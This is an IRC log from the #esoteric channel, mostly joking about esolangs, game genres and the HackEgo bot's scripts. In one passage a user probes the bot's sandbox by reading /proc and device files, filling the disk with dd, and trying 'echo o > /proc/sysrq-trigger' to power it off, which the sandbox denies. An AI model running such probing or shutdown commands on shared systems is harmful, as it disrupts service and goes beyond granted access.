17:03:38 <gamemanj> I wouldn't consider that a cute blog, myself...
17:06:45 <int-e> hmm my #esoteric equivalent of http://garfieldminusgarfield.net/ is working out well. (It's #esoteric without hppavilion[1] ...)
17:09:57 <boily> int-ello. what is that?
17:10:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
17:12:14 <int-e> garfieldminusgarfield is just what the name says... garfield strips with the imaginary talking cat edited out
17:12:18 <HackEgo> [wiki] [[Special:Log/newusers]] create * Tounz * New user account
17:13:25 -!- Tounz has joined.
17:13:29 <Tounz> Hello
17:15:51 <Tounz> https://github.com/TortegaFR/StackBasedVirtualMachine.
17:17:11 <izabera> there's a lollipop in a commit message
17:28:35 -!- moon_ has joined.
17:30:51 <int-e> helloon_!
17:33:26 <izabera> `` df
17:33:35 <HackEgo> df: cannot read table of mounted file systems: No such file or directory
17:33:40 <izabera> welp
17:33:44 <izabera> `` df /
17:33:46 <HackEgo> df: Warning: cannot read table of mounted file systems: No such file or directory \ Filesystem 1K-blocks Used Available Use% Mounted on \ - 0 0 0 - /
17:34:04 <izabera> `` mount; cat /proc/mounts
17:34:07 <HackEgo> none on /bin type hostfs (ro,nosuid,relatime,/bin/) \ none on /usr type hostfs (ro,nosuid,relatime,/usr/) \ none on /dev type hostfs (ro,nosuid,relatime,/dev/) \ none on /opt type hostfs (ro,nosuid,relatime,/opt/) \ none on /lib type hostfs (ro,nosuid,relatime,/lib/) \ none on /sbin type hostfs (ro,nosuid,relatime,/sbin/) \ none on /lib64 type host
17:35:22 <izabera> `` ls /dev/zero
17:35:24 <HackEgo> ​/dev/zero
17:35:37 -!- jaboja has joined.
17:35:37 <izabera> `` dd if=/dev/zero of=zero bs=1G count=1
17:35:42 <HackEgo> dd: memory exhausted by input buffer of size 1073741824 bytes (1.0 GiB)
17:35:54 <izabera> `` du -b zero
17:35:57 <HackEgo> 0zero
17:36:03 <izabera> `` dd if=/dev/zero of=zero bs=1M count=1
17:36:08 <HackEgo> 1+0 records in \ 1+0 records out \ 1048576 bytes (1.0 MB) copied, 0.018102 s, 57.9 MB/s
17:36:15 <izabera> `` dd if=/dev/zero of=zero bs=1M count=100
17:36:26 <HackEgo> ​/hackenv/bin/`: line 4: 296 File size limit exceededdd if=/dev/zero of=zero bs=1M count=100
17:37:07 <izabera> `` ulimit -f
17:37:08 <HackEgo> 10240
17:37:20 <izabera> `` echo $USER
17:37:22 <HackEgo> No output.
17:37:27 <izabera> `` whoami
17:37:29 <HackEgo> whoami: cannot find name for user ID 5000
17:37:45 <izabera> `` ulimit -a
17:37:47 <HackEgo> core file size (blocks, -c) 0 \ data seg size (kbytes, -d) unlimited \ scheduling priority (-e) 0 \ file size (blocks, -f) 10240 \ pending signals (-i) 1955 \ max locked memory (kbytes, -l) 0 \ max memory size (kbytes, -m) unlimited \ open files (-n) 102
17:38:18 <izabera> `` ulimit -a | sed 1,/open/d
17:38:20 <HackEgo> pipe size (512 bytes, -p) 8 \ POSIX message queues (bytes, -q) 819200 \ real-time priority (-r) 0 \ stack size (kbytes, -s) 8192 \ cpu time (seconds, -t) unlimited \ max user processes (-u) 128 \ virtual memory (kbytes, -v) unlimited \ file locks (-x)
17:39:29 <izabera> `` ls /proc
17:39:32 <HackEgo> 1 \ 10 \ 2 \ 281 \ 285 \ 286 \ 287 \ 288 \ 289 \ 290 \ 291 \ 292 \ 293 \ 294 \ 295 \ 296 \ 3 \ 4 \ 47 \ 49 \ 5 \ 51 \ 6 \ 68 \ 7 \ 76 \ 77 \ 8 \ 9 \ buddyinfo \ bus \ cgroups \ cmdline \ config.gz \ consoles \ cpuinfo \ crypto \ devices \ diskstats \ driver \ execdomains \ exitcode \ filesystems \ fs \ interrupts \ iomem \ ioports \ irq \ kallsyms
17:39:44 <izabera> `` ls /proc/!([0-9]*)
17:39:46 <HackEgo> ​/proc/buddyinfo \ /proc/cgroups \ /proc/cmdline \ /proc/config.gz \ /proc/consoles \ /proc/cpuinfo \ /proc/crypto \ /proc/devices \ /proc/diskstats \ /proc/execdomains \ /proc/exitcode \ /proc/filesystems \ /proc/interrupts \ /proc/iomem \ /proc/ioports \ /proc/kallsyms \ /proc/kcore \ /proc/kmsg \ /proc/kpagecount \ /proc/kpageflags \ /proc/loa
17:40:01 <izabera> `` ls /proc/!([0-9]*) | sed 1,/kpageflags/d
17:40:03 <HackEgo> ​/proc/loadavg \ /proc/locks \ /proc/meminfo \ /proc/misc \ /proc/mounts \ /proc/pagetypeinfo \ /proc/partitions \ /proc/slabinfo \ /proc/softirqs \ /proc/stat \ /proc/sysemu \ /proc/sysrq-trigger \ /proc/timer_list \ /proc/uptime \ /proc/version \ /proc/vmallocinfo \ /proc/vmstat \ /proc/zoneinfo \ \ /proc/bus: \ \ /proc/driver: \ \ /proc/fs:
17:40:14 <izabera> `` ls -d /proc/!([0-9]*) | sed 1,/kpageflags/d
17:40:16 <HackEgo> ​/proc/loadavg \ /proc/locks \ /proc/meminfo \ /proc/misc \ /proc/mounts \ /proc/net \ /proc/pagetypeinfo \ /proc/partitions \ /proc/self \ /proc/slabinfo \ /proc/softirqs \ /proc/stat \ /proc/sys \ /proc/sysemu \ /proc/sysrq-trigger \ /proc/sysvipc \ /proc/timer_list \ /proc/tty \ /proc/uptime \ /proc/version \ /proc/vmallocinfo \ /proc/vmstat \
17:42:23 <izabera> `` rm x
17:42:26 <HackEgo> rm: cannot remove `x': No such file or directory
17:42:26 <izabera> `` rm zero
17:42:31 <HackEgo> No output.
17:47:53 -!- hwpplayer11 has joined.
17:48:15 -!- hwpplayer1 has quit (Ping timeout: 276 seconds).
17:48:17 -!- hwpplayer11 has quit (Max SendQ exceeded).
17:50:05 -!- hwpplayer1 has joined.
17:51:10 -!- moon_ has changed nick to moonythehuman.
17:51:21 -!- moonythehuman has changed nick to MoonyTheDwarf.
17:55:10 <izabera> `` hostname
17:55:11 <HackEgo> umlbox
17:55:36 <izabera> `` grep data /proc/iomap
17:55:38 <HackEgo> grep: /proc/iomap: No such file or directory
17:55:54 <izabera> uml doesn't have iomap?
17:56:03 <izabera> `` ls /dev/mem
17:56:05 <HackEgo> ​/dev/mem
17:56:12 <izabera> `` ls /dev/{,k}mem
17:56:14 <HackEgo> ​/dev/kmem \ /dev/mem
17:57:54 <izabera> `` paste /proc/config.gz
17:58:06 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.11642
17:58:23 <izabera> that didn't work
17:58:45 <izabera> `` gunzip < /proc/config.gz > out; paste out
17:58:53 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/out
18:06:22 <izabera> `` echo o > /proc/sysrq-trigger; echo alive
18:06:24 <HackEgo> ​/hackenv/bin/`: line 4: /proc/sysrq-trigger: Permission denied \ alive
18:10:06 <izabera> `` cat /proc/1/cmdline
18:10:08 <HackEgo> ​/init.
18:13:21 <izabera> i've never used usermode linux and i don't feel like compiling a kernel right now
18:13:35 <izabera> who provides /proc and /dev ?
18:13:48 <izabera> the actual kernel or uml?
18:16:53 <int-e> uml
18:17:31 <int-e> It is a significant part of the linux kernel after all...
18:18:32 <int-e> `paste /proc/mounts
18:18:38 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.26852
18:19:27 <int-e> as you can see there, there's a 'hostfs' fs type for interaction. there's also a character device, hmmm
18:19:31 <int-e> `paste /proc/devices
18:19:37 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.29080
18:20:01 <int-e> the ubd thing... oh it's a block device, my bad.
18:23:14 -!- jaboja has quit (Ping timeout: 244 seconds).
18:24:36 <gamemanj> izabera: Welcome to the Gamemanj Kernel Compile Service! Provides mostly normal kernels, with only 28.8% NSA-approved code!
18:24:41 <gamemanj> ...
18:25:08 <izabera> that's not even bad
18:25:31 * gamemanj receives a call
18:25:36 <gamemanj> ...
18:25:46 <gamemanj> Ok, up that number to 100%, they're replacing the entire source tree.
18:25:50 <int-e> `? nsa
18:25:52 <HackEgo> nsa? ¯\(°​_o)/¯
18:26:39 <MoonyTheDwarf> They already started stalking people over windows 10 (Microsoft proudly proclaimed that too, just worded diffrent)]
18:27:40 <int-e> did I mention http://www.sandraandwoo.com/2016/06/09/0793-an-offer-you-cant-refuse-ww/
18:28:59 <myname> i like the cyanide&happiness more
18:29:04 <gamemanj> MoonyTheDwarf: And oddly enough...
18:29:09 <gamemanj> MoonyTheDwarf: I'm not surprised.
18:30:28 <int-e> Hmm, "Where do you want to go today?" used to be an MS slogan. Now they've stopped asking that question...
18:32:01 <gamemanj> That's because they replaced it
18:32:08 <gamemanj> "Where do we want you to go today?"
18:32:53 -!- iaglium has joined.
18:45:50 -!- hppavilion[1] has joined.
18:46:31 <MoonyTheDwarf> hi hppavilion[1]
18:47:06 <hppavilion[1]> MoonyTheDwarf: CHOOSE. A CONSISTENT. NICK.
18:47:20 -!- MoonyTheDwarf has changed nick to moon_.
18:47:23 <moon_> sorry
18:47:26 <myname> chill down
18:47:27 <moon_> i forgot to switch
18:47:47 <myname> i am tempted to change my nick just du annoy you
18:48:03 <myname> to even
18:48:19 -!- moon_ has changed nick to moonyeatspeople.
18:51:10 -!- moonyeatspeople has changed nick to hppavillion_poke.
18:59:36 <hppavilion[1]> hppavillion_poke: You can choose any non-confusing nick you want as long as you keep it consistent and make backup nicks clearly reflect the base nick
19:09:03 <hppavilion[1]> Hm, evolutionarily speaking, males and females are in competition in many cases
19:09:10 <hppavilion[1]> Which I imagine is why the female eats her mate
19:09:53 <hppavilion[1]> If the mate is good, then her offspring will be good. It's in her best interests to make sure the male doesn't reproduce further, creating good offspring that don't belong to her.
19:10:52 <gamemanj> why would the male want to mate if they're going to die
19:10:54 <izabera> hppavillion_poke: fun fact: hppavilion[1]_ has the same color in weechat as hppavilion[1]
19:11:00 <izabera> gamemanj: because mating
19:11:14 <izabera> have you ever seen futurama?
19:11:27 <hppavilion[1]> gamemanj: Because if they don't mate then their genes stop with them
19:11:30 <izabera> zoidberg's home planet etc
19:11:53 <gamemanj> what about mating followed by not dying
19:11:57 <hppavilion[1]> gamemanj: The ones that decide it's worth it are the only ones who have babies
19:12:06 <hppavilion[1]> gamemanj: Well that's where the competition comes in
19:12:10 <izabera> gamemanj: inconceivable
19:12:24 <hppavilion[1]> gamemanj: It's ideal for the males to mate without dying, but it's ideal for the females to be the only mate of the male
19:12:44 <gamemanj> ...flipping yanderes.
19:17:59 -!- hppavillion_poke has changed nick to moon_.
19:21:20 -!- lambda-11235 has quit (Quit: Bye).
19:22:20 -!- Frooxius has quit (Quit: *bubbles away*).
19:30:11 -!- yorick_ has joined.
19:32:11 -!- yorick has quit (Ping timeout: 240 seconds).
19:36:01 -!- hwpplayer1 has quit (Read error: Connection reset by peer).
19:37:44 -!- hwpplayer1 has joined.
19:37:50 -!- hwpplayer1 has left.
19:41:44 -!- Frooxius has joined.
19:42:31 <izabera> `` paste /proc/iomem
19:42:48 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.21164
19:43:20 -!- tromp has joined.
19:43:29 <izabera> `` cat /proc/iomem
19:43:31 <HackEgo> No output.
19:43:34 <izabera> -_-
19:45:12 -!- deltab_ has joined.
19:46:16 -!- PinealGlandOptic has quit (Quit: leaving).
19:48:29 -!- IRIXUser has joined.
19:48:30 -!- Tiktailk has joined.
19:48:54 -!- IRIXUser has changed nick to Guest12690.
19:50:07 -!- tromp_ has quit (*.net *.split).
19:50:07 -!- deltab has quit (*.net *.split).
19:50:07 -!- j-bot has quit (*.net *.split).
19:50:07 -!- fungot has quit (*.net *.split).
19:50:07 -!- Tiktalik has quit (*.net *.split).
19:50:07 -!- JX7P has quit (*.net *.split).
19:51:54 -!- bauen1 has joined.
19:56:43 <^v> ive been working on a high level language that compiles to brainfuck if anyone is interested, https://github.com/P-T-/bftoast
19:57:41 <^v> by the end of the week i think ill have basic programs compiled (only inline functions)
19:58:28 -!- moon_ has quit (Ping timeout: 244 seconds).
19:58:54 <^v> and later ill have recursive functions, yieldable tasks, and a few complex types
20:00:06 <^v> after version 1.0 ill work on namespaces, structs, OO classes, and more advanced task functions
20:07:18 <izabera> very nice
20:09:59 -!- hwpplayer1 has joined.
20:16:34 <hppavilion[1]> MSORPG
20:16:43 <hppavilion[1]> (Massively Singleplayer Offline Role-Playing Games)
20:16:55 <gamemanj> ^ (aka RPGs)
20:17:52 <hppavilion[1]> gamemanj: But those aren't massively singleplayer; they're just singleplayer
20:18:00 <gamemanj> then what's massively singleplayer
20:18:12 <hppavilion[1]> What's the most absurd game genre acronym available?
20:19:08 <hppavilion[1]> MMOTD?
20:19:15 <hppavilion[1]> MMOTDRPG?
20:19:17 <gamemanj> "Dynamically Attacking New Game Objectives"?
20:19:18 <hppavilion[1]> Wait, that's probably a thing
20:19:32 <hppavilion[1]> gamemanj: No, I'm going for genre names
20:20:04 <hppavilion[1]> gamemanj: Also, replace "Dynamically" with "Radically" and you've got a book deal and the funding of several major corporations
20:20:14 <hppavilion[1]> RANGO
20:20:17 <gamemanj> hmph
20:20:40 <gamemanj> DANGO is nicer! Dango, dango, dango, dango, dango daik--*Interrupted during run by length limit.*
20:20:44 <^v> massively singleplayer
20:20:49 <hppavilion[1]> MMOPG?
20:20:50 <^v> so like no mans sky?
20:20:54 <hppavilion[1]> (PG = Programming Game)
20:21:13 <hppavilion[1]> MMO Puzzle
20:21:16 <^v> technically a multiplayer game but you are so far away it might aswell be singleplayer?
20:21:35 <hppavilion[1]> (I guess curiosity would be kind of a casual MMO puzzle?)
20:21:44 <gamemanj> "Jumping Around Silly Puzzles, and Editing Registry"
20:22:13 <hppavilion[1]> Hahahahahahahaha https://en.wikipedia.org/wiki/Christian_video_game is a real thing
20:22:44 <^v> AVGN bible games?
20:22:58 <hppavilion[1]> MMOFPS
20:23:03 <hppavilion[1]> Whoops
20:23:06 <hppavilion[1]> MMOFSM
20:23:16 <hppavilion[1]> Massively Multiplayer Online Finite State Machine
20:23:28 <gamemanj> hppavilion[1]: I will not fall for your tricks! I know you inserted zero-width-spaces to take me to a rickroll page... uh, right? Actually, I'm not sure. Are those my indicator for ZWSes or just dust on the... nvm. They're just dust on the screen.
20:23:51 <hppavilion[1]> Glld mlb
20:23:54 <hppavilion[1]> *Good job
20:24:00 -!- Kaynato has joined.
20:24:21 <hppavilion[1]> gamemanj: How would ZWSes even rickroll you there?
20:24:24 <myname> are there MMOPGs?
20:24:33 <hppavilion[1]> Besides, I would most certainly duckroll you rather than rickroll
20:24:38 <hppavilion[1]> myname: For what definition of PG?
20:24:46 <gamemanj> hppavilion[1]: the domain name
20:24:51 <myname> programming game
20:24:56 <hppavilion[1]> gamemanj: That doesn't sound possible
20:25:03 <gamemanj> hppavilion[1]: It probably isn't
20:25:06 <myname> gamemanj: that doesn't make sense
20:25:13 <hppavilion[1]> myname: I think there's one called codespells that is basically a wizardy game with actually code
20:25:15 <gamemanj> myname: It probably doesn't
20:25:18 <hppavilion[1]> *actual
20:25:21 <gamemanj> But... it's fun to describe.
20:25:23 <hppavilion[1]> You cast spells with code
20:25:40 <hppavilion[1]> gamemanj: It's certainly pseudo-possible; probably not here, but it /could have been/
20:26:28 * gamemanj messes around... "en.wikipediෝ.org"... eh, close enough
20:26:46 <hppavilion[1]> MMOMUD
20:26:53 <hppavilion[1]> Oh wait, that's just a MUD with too many players
20:27:10 <hppavilion[1]> MMOTS
20:27:20 <hppavilion[1]> Train simulator + FPS
20:27:21 <myname> MMOTD?
20:27:35 <coppro> MMOTSes are awesome
20:27:42 <coppro> openttdcoop is fun
20:40:03 <HackEgo> [wiki] [[Special:Log/newusers]] create * MeowflashDaProgrammer * New user account
20:50:02 <gamemanj> hppavilion[1]: first person train simulator 1887. Now includes simulation of diseases that affect breathing!
20:50:36 <gamemanj> (The special edition package contains an additional lump of coal.)
20:50:45 <gamemanj> (It's generally sold at Christmas.)
20:51:24 <hppavilion[1]> Hm, it looks like John 3:16 in phrased radically differently in the SAB translation
20:55:15 -!- Froox has joined.
20:59:15 -!- Frooxius has quit (Ping timeout: 264 seconds).
21:01:41 -!- Froox has quit (Quit: *bubbles away*).
21:01:59 -!- Frooxius has joined.
21:12:42 -!- erdic has quit (Ping timeout: 244 seconds).
21:13:27 -!- erdic has joined.
21:23:57 -!- Koen_ has joined.
21:24:16 <hppavilion[1]> It's the current year, so why are things I don't like still around?
21:27:45 <^v> new brainfuck derivative: yiffFuck
21:28:38 -!- deltab_ has changed nick to deltab.
21:29:31 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
21:33:44 <^v> <ds84182> no
21:33:44 <^v> <ds84182> That is a stupid idea and you should be neutered
21:46:31 -!- variable has joined.
21:49:52 <Koen_> ^v: the consensus is "no more brainfuck derivatives"
21:51:20 <myname> at least not if it is not interesting
21:51:31 <myname> which is pretty unlikely for a bf derivate
21:54:16 <^v> i have a goal of atleast 20 generic boring bf derivatives by the end of the month
21:54:35 <^v> each with absolutely no interpreter and misleading / nonfunctional example code
21:54:45 <^v> i will make esolangs great again
21:55:00 <^v> by blocking out the infirior complex well thought out languages
21:55:11 <^v> #MAKE_ESOLANGS_GREAT_AGAIN
21:56:34 <Koen_> new game: hit the "random page" button on the esolangs wiki
21:56:42 <Koen_> you win if you do not hit a brainfuck derivative
21:57:10 <myname> or feature request: "random non-bf page"
21:57:17 <Koen_> (I lied, it's not new)
21:57:22 <Koen_> oh, that would be a good one
21:57:58 <myname> from the newer languages, efghij is my absolute favorite
21:58:07 <nortti> https://archive.org/details/pocorgtfo12 has translating arbitrary C programs to bytecode that can be executed without branches, by the way of x86 mov
21:58:17 <nortti> article number 5
21:58:34 <myname> there is a github repo for movfuscating
21:58:50 -!- gamemanj has quit (Ping timeout: 244 seconds).
22:04:35 -!- Koen_ has quit (Read error: Connection reset by peer).
22:05:01 -!- Koen_ has joined.
22:06:58 <^v> making branchless code is not a new concept
22:07:23 <^v> but the difficulty depends on the language
22:10:35 -!- hppavilion[1] has joined.
22:17:15 <quintopia> koen: I wanted to play this game. i lost.
22:18:11 -!- hppavilion[1] has quit (Ping timeout: 240 seconds).
22:18:43 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:31:55 -!- jaboja has joined.
22:33:32 -!- boily has quit (Ping timeout: 272 seconds).
22:34:48 -!- Tounz has quit (Ping timeout: 250 seconds).
23:15:19 -!- oerjan has joined.
23:23:46 <oerjan> @tell izabera <izabera> `` gunzip < /proc/config.gz > out; paste out <-- paste can be piped into hth
23:23:46 <lambdabot> Consider it noted.
23:33:28 <\oren\> hmmm I was thinking about heapsort
23:35:40 <\oren\> ooh Scholar Refia has zettai ryouki
23:37:40 -!- augur has joined.
23:44:43 -!- augur has quit (Read error: Connection reset by peer).
23:44:44 -!- variable has quit (Quit: 1 found in /dev/zero).
23:46:25 <int-e> oerjan: I thought about suggesting that... but we get a commit either way...
23:47:00 <int-e> `` echo bin/z*
23:47:09 <HackEgo> bin/zalgo bin/zalgoerjan bin/zalgoverload bin/zalgreet bin/zzote
23:49:20 <oerjan> int-e: yeah but we don't mess up the top directory
2016-06-20
00:48:38 -!- hwpplayer1 has quit (Quit: Leaving.).
00:52:18 -!- hwpplayer1 has joined.
01:21:04 <FreeFull> `zalgo Ohai esoteric
01:21:39 <HackEgo> No output.
01:35:32 <oerjan> `` zalgo <<<Ohai esoteric
01:35:39 <oerjan> um
01:35:41 <oerjan> oh well
01:35:42 <HackEgo> O͕̲h̠͍ä̝ì̊
01:36:16 <oerjan> `head bin/zalgo
01:36:18 <HackEgo> ​#!/usr/bin/python \ import codecs,sys,random \ stdin=codecs.getreader("utf-8")(sys.stdin) \ stdout=codecs.getwriter("utf-8")(sys.stdout) \ x=[unichr(0x300+i) for i in range(0,112)+[393,2887]] \ def z(n,c): \ if c in ["\n"]+x: \ n=0 \ return u"".join(x[random.randrange(0,len(x))] for i in range(n)) \ stdout.write(u"".join(c+z(2,c) for c in st
01:36:27 <oerjan> *sigh*
01:37:02 <oerjan> we have a script for fixing that, but it's much easier to use from bash than python
01:37:22 <oerjan> hm...
01:37:39 <oerjan> `cat bin/f
01:37:41 <HackEgo> ​#! /bin/bash \ cmd="$1" \ shift \ f="$*" \ if [[ -z "$f" && "$cmd" == *\ * ]]; then f="${cmd#* }"; cmd="${cmd%% *}"; fi \ if [[ -z "$f" ]]; then echo try: \`f command filename; elif [[ -e "$f" ]]; then "$cmd" "$(< "$f")"; else echo no such file: "$f"; fi
01:37:56 <oerjan> `f zalgo test
01:37:58 <HackEgo> no such file: test
01:38:16 <oerjan> gah wrong way around
01:39:25 <oerjan> `` ls bin/*cat*
01:39:28 <HackEgo> bin/catcat \ bin/cats
01:40:16 <oerjan> `` ls bin/?
01:40:18 <HackEgo> bin/` \ bin/̊ \ bin/ \ bin/! \ bin/? \ bin/¿ \ bin/' \ bin/@ \ bin/* \ bin/؟ \ bin/ \ bin/ \ bin/1 \ bin/5 \ bin/e \ bin/f \ bin/h \ bin/q
01:40:26 <oerjan> `cat bin/e
01:40:28 <HackEgo> echo elieser224: ¿por qué con frecuencia altas y bajas?
01:40:43 <oerjan> `rm bin/e
01:40:45 <HackEgo> No output.
01:40:49 <oerjan> `cat bin/h
01:40:50 <HackEgo> ​#!/usr/bin/perl -p \ s/([aeiouy])([bcdfghjklmnpqrstvxz])/$1h$2/ig
01:40:56 <oerjan> `cat bin/q
01:40:56 <HackEgo> ​ELF............>.....°@.....@.......ð..........@.8..@.........@.......@.@.....@.@.....À.......À............................@......@............................................@.......@.....Ì......Ì........ ............Ð......Ð`.....Ð`.................... ...........ø......ø`.....ø`..... ....... ................
01:40:59 <oerjan> eep
01:41:09 <oerjan> `cat bin/'
01:41:09 <HackEgo> ​#!/bin/sh \ allquotes | if [ "$1" ]; then \ if expr "$1" + 0 >/dev/null 2>&1; then \ sed "$1q;d" \ else \ grep -P -i -- "$1" \ fi \ else shuf -n 1; fi
01:41:48 <oerjan> `` cat bin/
01:41:51 <HackEgo> cat: bin/: Is a directory
01:42:09 <oerjan> `ls bin//
01:42:10 <HackEgo> ​` \ `` \ ^.^ \ ̊ \ \ ! \ ? \ ?? \ ¿ \ ' \ @ \ * \ ؟ \ \ \ \ 1 \ 1492 \ 2014 \ 2015 \ 2016 \ 2017 \ 5 \ 5quote \ 8ball \ 8-ball \ aaaaaaaaa \ addquote \ addtodo \ aglist \ allquotes \ analogy \ anonlog \ append \ arienvenido \ as86 \ aseen \ asm \ autowelcome \ bardsworthlist \ before \ benvenuto \ bf \ bff \ bienvenido \ bienvenue \
01:42:25 <oerjan> oh wait
01:42:29 <oerjan> `cat bin/
01:42:29 <HackEgo> ​#!/bin/bash \ TIMEFORMAT="real: %lR, user: %lU, sys: %lS" \ shopt -s extglob globstar \ eval -- "$1" | rnooodl
01:42:43 <oerjan> right, that one.
01:43:45 <oerjan> `file bin/*
01:43:47 <HackEgo> bin/*: ASCII text
01:43:52 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
01:43:52 <oerjan> `cat bin/*
01:43:54 <HackEgo> echo $(ls bin | shuf -n 1) $*
01:44:43 <oerjan> that doesn't really work, does it
01:44:47 <oerjan> `* test
01:44:50 <HackEgo> rèsumè test
01:45:42 <oerjan> `culprits bin/*
01:45:55 <HackEgo> int-e int-e
01:46:05 <oerjan> `hoag bin/*
01:46:13 <HackEgo> ​<int-e> ` chmod +x bin/\\* \ <int-e> ` echo \'echo $(ls bin | shuf -n 1) $*\' > bin/\\*
01:47:16 <oerjan> `cat bin/<
01:47:17 <HackEgo> cat: bin/<: No such file or directory
01:48:05 <oerjan> hm #! interpreters cannot be scripts, can they...
01:48:36 <oerjan> `` ls bin/\<*
01:48:38 <HackEgo> bin/<command>
01:48:45 <oerjan> `` ls bin/\|*
01:48:47 <HackEgo> ls: cannot access bin/|*: No such file or directory
01:54:53 -!- lambda-11235 has joined.
02:11:51 -!- jaboja has quit (Ping timeout: 264 seconds).
02:32:05 -!- MoALTz has quit (Quit: Leaving).
02:34:57 -!- Phantom_Hoover has quit (Quit: Leaving).
02:54:54 -!- Tiktailk has quit (Changing host).
02:54:54 -!- Tiktailk has joined.
02:54:57 -!- Tiktailk has changed nick to Tiktalik.
02:59:16 -!- bender has joined.
03:03:24 -!- hwpplayer1 has left.
03:10:30 -!- augur has joined.
03:12:15 -!- moon_ has joined.
03:13:07 <moon_> Hi
03:26:47 -!- oerjan has quit (Quit: Bye!).
03:28:32 -!- augur has quit (Remote host closed the connection).
03:35:42 -!- moon_ has quit (Ping timeout: 244 seconds).
04:07:49 -!- Moon_ has joined.
04:08:29 <zzo38> You don't need "random non-bf page". Make SQL codes feature, you can then write that as a SQL code.
04:33:39 -!- augur has joined.
05:53:07 <izabera> first actual day @ new job
05:53:13 <izabera> i woke up at 5 am
05:53:28 <izabera> now i'm on my second train to get there
05:53:34 <izabera> i is bored
05:53:50 <izabera> do something fun
06:02:41 -!- Sprocklem has joined.
06:04:51 -!- augur_ has joined.
06:05:47 -!- augur has quit (Ping timeout: 250 seconds).
06:06:46 -!- Moon_ has quit (Ping timeout: 250 seconds).
06:38:33 -!- bender__ has joined.
06:39:13 <\oren\> second train the get there?
06:39:46 <\oren\> What miracle land do you live in?
06:40:27 -!- bender has quit (Ping timeout: 250 seconds).
06:40:29 <izabera> miracle land?
06:40:47 <izabera> do you only have one train in norway?
06:41:40 <izabera> i may be wrong on the norway part
06:41:50 <izabera> maybe it was oerjan
06:41:54 <izabera> yeah it was oerjan
06:42:55 <coppro> oerjan is the one train?
06:44:20 <\oren\> no but my city has only two subway lines
06:44:29 <\oren\> and some trams
06:44:59 <\oren\> almost everyone has to take cars to work
06:45:15 <izabera> i live some 120km away and don't own a car
06:45:31 <zzo38> When creating a window in X you can specify the depth independently of the visual, but the depth is already defined by the visual anyways. What exactly does it mean if a window has a different depth than the visual?
06:45:40 <\oren\> you'd essentially be screwed in Toronto
06:47:34 -!- lambda-11235 has quit (Ping timeout: 260 seconds).
07:07:53 -!- Destructible has joined.
07:07:59 <Destructible> hi
07:08:22 -!- Destructible has quit (Client Quit).
07:10:25 -!- Kaynato has quit (Ping timeout: 260 seconds).
07:21:56 -!- hppavilion[1] has joined.
07:21:58 <hppavilion[1]> "For in much wisdom is much grief: and he that increaseth knowledge increaseth sorrow" (Ecclesiastes 1:18)
07:22:07 <hppavilion[1]> That is to say, science and learning is bad
07:27:49 <zzo38> If you have wisdom and knowledge they might have sorrow/grief, but that doesn't make science and learning to be bad.
07:33:48 <asie> hppavilion[1]: That is not to say that
07:34:00 <hppavilion[1]> `sorrow
07:34:05 <hppavilion[1]> `? sorrow
07:34:12 <HackEgo> ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sorrow: not found
07:34:14 <asie> Why do you think negative emotions and feelings are inherently bad?
07:34:14 <HackEgo> sorrow? ¯\(°​_o)/¯
07:34:27 <zzo38> It is not supposed to be sorrow it is supposed to be sorry
07:34:41 <asie> They're just emotions. They can lead to great things.
07:34:56 <hppavilion[1]> zzo38: Sorrow is what you feel when you're sorry
07:35:07 <shachaf> hppavilion[1]: "programmer's google"? I don't get it.
07:35:23 <shachaf> Are you talking about the search engine and/or the company?
07:35:35 <hppavilion[1]> shachaf: Oh, I meant googol. Whoops.
07:35:39 <hppavilion[1]> `? programmer's google
07:35:41 <HackEgo> A programmer's google is equal to 10^100, or 110
07:36:06 <hppavilion[1]> `` mv "wisdom/programmer's google" "wisdom/programmer's googol"
07:36:10 <HackEgo> No output.
07:36:15 <hppavilion[1]> `? programmer's googol
07:36:16 <HackEgo> A programmer's google is equal to 10^100, or 110
07:36:18 <zzo38> Wisdom and knowledge and learning can be the good things.
07:36:41 <hppavilion[1]> `` sed -i 's/google/googol/' 'wisdom/programmer's googol'
07:36:42 <HackEgo> ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file
07:37:21 <hppavilion[1]> `le/rn programmer's googol/A programmer's googol is equal to 10^100, or 110
07:37:25 <HackEgo> Relearned «programmer's googol»
07:37:29 <hppavilion[1]> shachaf: The joke is ^ is bitwise xor, not exponentiation
07:37:35 <shachaf> I know.
07:38:28 <shachaf> I also don't really get Я.
07:38:45 <hppavilion[1]> `? Я
07:38:45 <shachaf> None of the letters in hsilgnE are flipped.
07:38:46 <HackEgo> ​Я is the 8th letter of the hsilgnE alphabet
07:39:03 <hppavilion[1]> shachaf: Yeah, because the letters are flipped before mirroring.
07:39:15 <hppavilion[1]> shachaf: Natural language isn't neat and tidy like programming
07:45:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
08:29:11 -!- AnotherTest has joined.
08:43:44 -!- augur_ has quit (Remote host closed the connection).
08:57:36 -!- Sprocklem has quit (Ping timeout: 276 seconds).
09:06:46 <b_jonas> `wisdom
09:07:02 <HackEgo> jwinslow23//JWinslow23 is not here.
09:12:24 <shachaf> `wisdom
09:12:25 <HackEgo> tanebvention//Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions: math. He never invents anything involving sex.
09:14:17 -!- Moon_ has joined.
09:14:46 <Moon_> Hi
09:16:05 <FreeFull> `wisdom ¶
09:16:07 <HackEgo> ​//cat: : No such file or directory
09:18:02 <shachaf> `wisdom : math
09:18:04 <HackEgo> tanebventions: math//Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms.
09:18:26 <shachaf> Is Stephen Wolfram a mathematical tanebvention?
09:18:39 <shachaf> I guess he's Mathematica l.
09:18:48 <shachaf> `? stephen wolfram
